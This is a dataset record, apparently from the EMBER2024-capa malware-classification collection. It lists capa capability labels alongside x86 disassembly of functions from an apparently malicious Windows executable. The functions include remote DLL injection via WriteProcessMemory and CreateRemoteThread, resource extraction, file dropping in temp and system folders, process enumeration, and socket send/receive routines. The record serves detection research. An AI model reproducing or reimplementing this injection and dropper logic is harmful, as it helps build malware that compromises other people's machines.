joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011f9
Capabilities:
Create thread

Disassembly:
push edi
xor edi, edi
push edi
push eax
push edi
push edi
push edi
mov dword [0x42dde0], eax
mov eax, closesocket
push eax
push edi
push eax
push 0xcf0000
push 0x42dd18
push 0x42dc50
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x40122a
pop edi
ret
push ebx
push esi
push 0x42690c
push 0x40
pop esi
push esi
push 0x42c454
call fcn.00410e2c
push 0x426928
push esi
push 0x42c954
call fcn.00410e2c
push 0x426934
push esi
push 0x42c4d4
call fcn.00410e2c
push 0x426950
push esi
push 0x42c9d4
call fcn.00410e2c
push 0x42696c
push esi
push 0x42c554
call fcn.00410e2c
push 0x426984
push esi
push 0x42ca54
call fcn.00410e2c
add esp, 0x48
push 0x426994
push esi
push 0x42c5d4
call fcn.00410e2c
push 0x4269ac
push esi
push 0x42cad4
call fcn.00410e2c
push 0x4269c0
push esi
push 0x42c654
call fcn.00410e2c
push 0x4269d8
push esi
push 0x42cb54
call fcn.00410e2c
push 0x4269ec
push esi
push 0x42c6d4
call fcn.00410e2c
push 0x426a08
push esi
push 0x42cbd4
call fcn.00410e2c
add esp, 0x48
push 0x426a18
push esi
push 0x42c754
call fcn.00410e2c
mov ebx, 0x426a38
push ebx
push esi
push 0x42cc54
call fcn.00410e2c
push 0x426a44
push esi
push 0x42c7d4
call fcn.00410e2c
push ebx
push esi
push 0x42ccd4
call fcn.00410e2c
push 0x426a64
push esi
push 0x42c854
call fcn.00410e2c
push 0x426a80
push esi
push 0x42cd54
call fcn.00410e2c
add esp, 0x48
mov dword [0x42c450], 9
push 0x100
push edi
push 0x44dff0
call fcn.00412ab0
add esp, 0xc
push 2
xor eax, eax
pop edx
movzx ecx, word [eax + 0x426a8c]
mov word [eax + 0x44dff4], cx
add eax, edx
cmp cx, di
jne 0x401377
xor eax, eax
movzx ecx, word [eax + 0x426a90]
mov word [eax + 0x44e024], cx
add eax, edx
cmp cx, di
jne 0x40138e
xor eax, eax
movzx ecx, word [eax + 0x426a9c]
mov word [eax + 0x44dff8], cx
add eax, edx
cmp cx, di
jne 0x4013a5
mov dword [0x44e020], 0x51
xor eax, eax
movzx ecx, word [eax + 0x426ab8]
mov word [eax + 0x44e042], cx
add eax, edx
cmp cx, di
jne 0x4013c6
mov dword [0x44e0dc], 5
mov dword [0x44e0e4], 0x32
call fcn.004024a9
mov dword [0x44e0f0], eax
mov dword [0x42ce54], eax
call fcn.00402545
mov dword [0x42ce58], eax
call fcn.00402378
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x401517
push edi
push edi
mov dword [0x46eaf2], 0x401e8e
call esi
push edi
push edi
push edi
push 0x40185b
push edi
push edi
call esi
pop esi
xor eax, eax
pop ebx
inc eax
pop edi
ret
Function at 0x402027
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x42b094]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.00412ab0
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x4020d9
push edi
mov edi, 0x426bbc
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x402072
sub eax, edx
sar eax, 1
je 0x4020d8
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00410f1d
push 0x426bb4
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.004109c4
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x4020d8
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0041123a
push dword [ebp - 0x78]
call fcn.00410c72
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00410748
add ebp, 0x198
leave
ret

Function at 0x402266
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push 0x3e8
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x426bb4
mov esi, 0x42dde8
lea eax, [ebp - 4]
push esi
push eax
call fcn.004109c4
add esp, 0xc
cmp dword [ebp - 4], edi
je 0x402374
push ebx
push 2
push edi
push dword [ebp - 4]
call fcn.004116af
push dword [ebp - 4]
call fcn.004118d1
mov edi, eax
push edi
call fcn.0041193f
push 0
push 0
push dword [ebp - 4]
mov ebx, eax
mov dword [ebp - 8], ebx
call fcn.004116af
push dword [ebp - 4]
push edi
push 1
push ebx
call fcn.0041123a
add esp, 0x30
cmp edi, eax
jne 0x402355
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004115f1
pop ecx
call fcn.00411603
mov dword [ebp - 0xc], eax
fild dword [ebp - 0xc]
fmul qword [0x428d90]
fmul qword [0x428d88]
fadd qword [0x428d80]
call fcn.00413350
cmp edi, eax
jl 0x402355
sub ebx, eax
push eax
add ebx, edi
call fcn.00402224
push dword [ebp - 4]
call fcn.00410c72
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x4268c4
lea eax, [ebp - 4]
push esi
push eax
call fcn.004109c4
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x402373
push dword [ebp - 4]
push edi
push 1
push dword [ebp - 8]
call fcn.00410b79
add esp, 0x10
cmp dword [ebp - 4], 0
je 0x402364
push dword [ebp - 4]
call fcn.00410c72
pop ecx
cmp dword [ebp - 8], 0
je 0x402373
push dword [ebp - 8]
call fcn.0041073d
pop ecx
pop ebx
pop edi
pop esi
leave
ret
Function at 0x402378
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x274
mov eax, dword [0x42b094]
xor eax, esp
mov dword [esp + 0x270], eax
push ebx
push esi
push edi
xor eax, eax
push 0x62
mov word [esp + 0x214], ax
xor ebx, ebx
lea eax, [esp + 0x216]
push ebx
push eax
call fcn.00412ab0
add esp, 0xc
push 0x200
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.00412ab0
add esp, 0xc
lea edi, [esp + 0x10]
call fcn.004020f2
test eax, eax
je 0x402494
xor eax, eax
movzx ecx, word [esp + eax + 0x14]
mov word [eax + 0x44dff8], cx
inc eax
inc eax
cmp cx, bx
jne 0x4023da
movzx eax, word [esp + 0x94]
mov dword [0x44e020], eax
xor eax, eax
movzx ecx, word [esp + eax + 0x96]
mov word [eax + 0x44e024], cx
inc eax
inc eax
cmp cx, bx
jne 0x4023fc
cmp dword [0x44e0f0], 3
mov edi, 0x104
mov esi, 0x42dde8
jne 0x40243e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x426bd8
push edi
push esi
call fcn.00410f1d
add esp, 0xc
jmp 0x402446
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x1b8]
push eax
push edi
push esi
call fcn.00410f1d
add esp, 0xc
push 0x426bdc
push edi
push esi
call fcn.00410f1d
add esp, 0xc
call fcn.00402266
push ebx
push ebx
push ebx
push 0x402171
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea edi, [esp + 0x210]
call fcn.00402196
mov eax, edi
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [esp + 0x27c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00410748
mov esp, ebp
pop ebp
ret

Function at 0x4024a9
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x42b094]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push esi
push 0x118
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00412ab0
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40252d
cmp dword [ebp - 0x7c], 5
mov eax, dword [ebp - 0x78]
jne 0x402517
test eax, eax
jne 0x402506
cmp word [ebp + 0x94], 4
jb 0x40252d
inc esi
cmp eax, 2
jne 0x40250d
push eax
pop esi
jae 0x402514
cmp eax, 1
jne 0x40252d
push 3
pop esi
cmp dword [ebp - 0x7c], 6
jne 0x40252d
test eax, eax
jne 0x402525
push 4
jmp 0x40252c
cmp eax, 1
jne 0x40252d
push 5
pop esi
mov ecx, dword [ebp + 0x9c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00410748
add ebp, 0xa0
leave
ret
Function at 0x4025e1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x426b30
mov esi, eax
push 0x83
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x402672
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 4]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov esi, edi
and esi, 0x1ff
neg esi
sbb esi, esi
mov dword [eax], edi
mov eax, edi
neg esi
shr eax, 9
add esi, eax
shl esi, 9
push esi
call fcn.0041193f
push esi
mov ebx, eax
push 0
push ebx
call fcn.00412ab0
push edi
push dword [ebp - 4]
push ebx
call fcn.00412480
add esp, 0x1c
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x402960
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x1b8]
sub esp, 0x238
mov eax, dword [0x42b094]
xor eax, ebp
mov dword [ebp + 0x1b4], eax
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov esi, ecx
mov dword [ebp - 0x80], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x4029fb
push edi
mov edi, 0x22c
push edi
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.00412ab0
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x7c]
mov dword [ebp - 0x78], edi
call sub.KERNEL32.dll_Process32FirstW
jmp 0x4029e6
xor edi, edi
cmp dword [esi], edi
jle 0x4029da
lea ebx, [esi + 4]
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.00411b3e
pop ecx
pop ecx
test eax, eax
je 0x402a15
inc edi
sub ebx, 0xffffff80
cmp edi, dword [esi]
jl 0x4029c2
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x7c]
call sub.KERNEL32.dll_Process32NextW
cmp eax, 1
je 0x4029b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp + 0x1b4]
mov eax, dword [ebp - 0x80]
pop esi
xor ecx, ebp
pop ebx
call fcn.00410748
add ebp, 0x1b8
leave
ret
lea eax, [ebp - 0x54]
push eax
lea eax, [esi + 0xa14]
push 0x40
push eax
mov dword [ebp - 0x80], 1
mov dword [esi + 0xa0c], edi
call fcn.00410e2c
mov eax, dword [ebp - 0x70]
mov dword [esi + 0xa10], eax
mov eax, dword [esi + 0xa0c]
shl eax, 7
lea eax, [eax + esi + 0x504]
push eax
push 0x40
add esi, 0xa98
push esi
call fcn.00410e2c
add esp, 0x18
jmp 0x4029f1
Function at 0x402cac
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push edi
xor edi, edi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [ebp + 8], ebx
je 0x402dac
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x402dac
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x402cd5
sub eax, edx
sar eax, 1
cmp eax, 4
jb 0x402dac
push dword [ebp + 8]
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 8], edi
cmp edi, ebx
jne 0x402d17
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov dword [ebp - 4], eax
call esi
jmp 0x402dbb
push 4
push 0x3000
push 0x104
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
cmp esi, ebx
jne 0x402d40
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
mov dword [ebp - 4], eax
jmp 0x402dbb
mov eax, dword [ebp + 0xc]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x402d46
sub eax, edx
push ebx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0xc]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402d31
push 0x426c0c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x402d31
push 0x426c1c
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x402d31
push ebx
push ebx
push esi
push eax
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
cmp edi, ebx
je 0x402dd1
push 0x2710
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x402db0
or dword [ebp - 4], 0xffffffff
cmp edi, ebx
je 0x402dbb
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], ebx
pop edi
pop esi
pop ebx
je 0x402dcc
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
leave
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
mov dword [ebp - 4], eax
jmp 0x402db0
Function at 0x40350b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403522
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x403557
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x403553
cmp edi, eax
jae 0x403557
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x403545
cmp edi, eax
jb 0x40355b
xor eax, eax
jmp 0x403564
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x403612
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x44e2d0
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov ebx, 0x10000
push ebx
xor eax, eax
push edi
push 0x44e2ee
mov word [0x44e2e0], ax
mov dword [0x44e2e2], edi
mov dword [0x44e2e6], 1
mov dword [0x44e2ea], edi
call fcn.00412ab0
push ebx
push edi
push 0x45e2f2
mov dword [0x45e2ee], edi
call fcn.00412ab0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x18
push edi
push edi
push esi
push 0x40357f
push edi
push edi
mov dword [0x46eaf2], edi
call ebx
push edi
push edi
push esi
push 0x4035d4
push edi
push edi
call ebx
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x4038d7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x794]
sub esp, 0x814
mov eax, dword [0x42b094]
xor eax, ebp
mov dword [ebp + 0x790], eax
mov eax, dword [ebp + 0x79c]
push edi
mov edi, ecx
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x7c], ecx
test eax, eax
je 0x403908
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
xor eax, eax
and dword [ebp - 0x80], eax
mov word [ecx], ax
cmp dword [esi], eax
je 0x40398c
push ebx
call fcn.0041193f
push ebx
push edi
push eax
mov dword [ebp - 0x78], eax
call fcn.00412480
mov edi, dword [sym.imp.WS2_32.dll_send]
mov eax, ebx
shr eax, 0x18
mov byte [ebp - 0x74], al
mov eax, ebx
sar eax, 0x10
mov byte [ebp - 0x73], al
add esp, 0x10
mov eax, ebx
sar eax, 8
push 0
mov byte [ebp - 0x72], al
push 4
lea eax, [ebp - 0x74]
push eax
push dword [esi]
mov byte [ebp - 0x71], bl
call edi
push 0
push ebx
push dword [ebp - 0x78]
push dword [esi]
call edi
cmp eax, 0xffffffff
je 0x403974
cmp eax, ebx
jne 0x403974
mov dword [ebp - 0x80], 1
jmp 0x40398c
mov edx, dword [ebp - 0x7c]
mov eax, 0x426ca0
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40397e
cmp dword [ebp - 0x78], 0
pop edi
je 0x40399c
push dword [ebp - 0x78]
call fcn.0041073d
pop ecx
mov ecx, dword [ebp + 0x790]
mov eax, dword [ebp - 0x80]
xor ecx, ebp
call fcn.00410748
add ebp, 0x794
leave
ret 4
Function at 0x4039b6
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x79c]
sub esp, 0x81c
mov eax, dword [0x42b094]
xor eax, ebp
mov dword [ebp + 0x798], eax
mov eax, dword [ebp + 0x7a4]
push edi
lea edi, [ebp - 0x68]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], edi
test ecx, ecx
je 0x4039ed
mov dword [ebp - 0x78], ecx
mov edi, ecx
xor ecx, ecx
and dword [ebp - 0x74], ecx
mov word [edi], cx
mov eax, dword [eax]
test eax, eax
je 0x403b02
test edx, edx
je 0x403b02
push ecx
mov byte [ebp - 0x6c], cl
mov byte [ebp - 0x6b], cl
mov byte [ebp - 0x6a], cl
mov byte [ebp - 0x69], cl
push 4
lea ecx, [ebp - 0x6c]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x403a40
mov eax, 0x426cc0
sub edi, eax
movzx ecx, word [eax]
mov word [edi + eax], cx
inc eax
inc eax
test cx, cx
jne 0x403a2d
jmp 0x403b02
test eax, eax
jne 0x403a50
mov dword [ebp - 0x74], 1
jmp 0x403b02
movzx eax, byte [ebp - 0x6b]
push ebx
movzx ebx, byte [ebp - 0x6c]
push dword [esi]
shl ebx, 8
add ebx, eax
movzx eax, byte [ebp - 0x6a]
shl ebx, 8
add ebx, eax
movzx eax, byte [ebp - 0x69]
shl ebx, 8
add ebx, eax
xor edi, edi
call fcn.0041193f
cmp dword [esi], edi
pop ecx
mov dword [ebp - 0x70], eax
jle 0x403aac
cmp edi, ebx
jae 0x403aac
mov eax, dword [esi]
sub eax, edi
push 0
push eax
mov eax, dword [ebp - 0x70]
add eax, edi
push eax
mov eax, dword [ebp - 0x80]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x403ac2
test eax, eax
je 0x403ac2
add edi, eax
cmp dword [esi], edi
jg 0x403a81
mov eax, dword [esi]
cmp eax, edi
jl 0x403adc
push edi
push dword [ebp - 0x70]
push dword [ebp - 0x7c]
call fcn.00412480
mov dword [esi], edi
jmp 0x403ae8
mov edx, dword [ebp - 0x78]
mov eax, 0x426cc0
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x403acc
jmp 0x403af2
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x7c]
call fcn.00412480
add esp, 0xc
mov dword [ebp - 0x74], 1
cmp dword [ebp - 0x70], 0
pop ebx
je 0x403b02
push dword [ebp - 0x70]
call fcn.0041073d
pop ecx
mov ecx, dword [ebp + 0x798]
mov eax, dword [ebp - 0x74]
xor ecx, ebp
pop edi
call fcn.00410748
add ebp, 0x79c
leave
ret 4
Function at 0x403d32
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push edi
mov esi, eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x403df7
cmp esi, 0xa
jb 0x403df7
shl eax, 2
mov dword [ebp - 0xc], eax
inc eax
push eax
call fcn.004107a6
pop ecx
mov ebx, eax
push ebx
push esi
push dword [ebp + 8]
lea edi, [ebp - 0xc]
call fcn.00403cc4
add esp, 0xc
test eax, eax
je 0x403dee
push 0x4268c4
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.004109c4
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x403d9e
mov dword [ebp - 8], 0xfffffffe
jmp 0x403e0a
push dword [ebp - 4]
push dword [ebp - 0xc]
push 1
push ebx
call fcn.00410b79
add esp, 0x10
cmp eax, dword [ebp - 0xc]
je 0x403dbd
mov dword [ebp - 8], 0xfffffffe
jmp 0x403dfb
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
xor edx, edx
mov ecx, 0x1f4
div ecx
mov edi, edx
call esi
xor edx, edx
mov ecx, 0x3e8
div ecx
push dword [ebp - 4]
push edi
push 1
add edx, ebx
push edx
call fcn.00410b79
add esp, 0x10
jmp 0x403dfb
mov dword [ebp - 8], 0xfffffffd
jmp 0x403dfb
or dword [ebp - 8], 0xffffffff
cmp dword [ebp - 4], 0
je 0x403e0a
push dword [ebp - 4]
call fcn.00410c72
pop ecx
test ebx, ebx
je 0x403e15
push ebx
call fcn.00410870
pop ecx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4055a9
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x4055b4
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x405666
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428720]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428720]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428720]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428720]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428720]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428720]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428720]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428720]
inc ecx
sub edi, 8
dec esi
jne 0x4055cb
pop ebx
test edi, edi
je 0x40567f
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x428720]
inc ecx
dec edi
jne 0x40566a
pop esi
not eax
pop edi
ret
Function at 0x405684
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x428720]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x428720]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x405cf9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x405d29
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 2]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x405d24
mov byte [esi + 6], 1
mov eax, dword [ebp + 0x10]
jmp 0x405d51
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x405d3a
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0xc]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.00412480
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret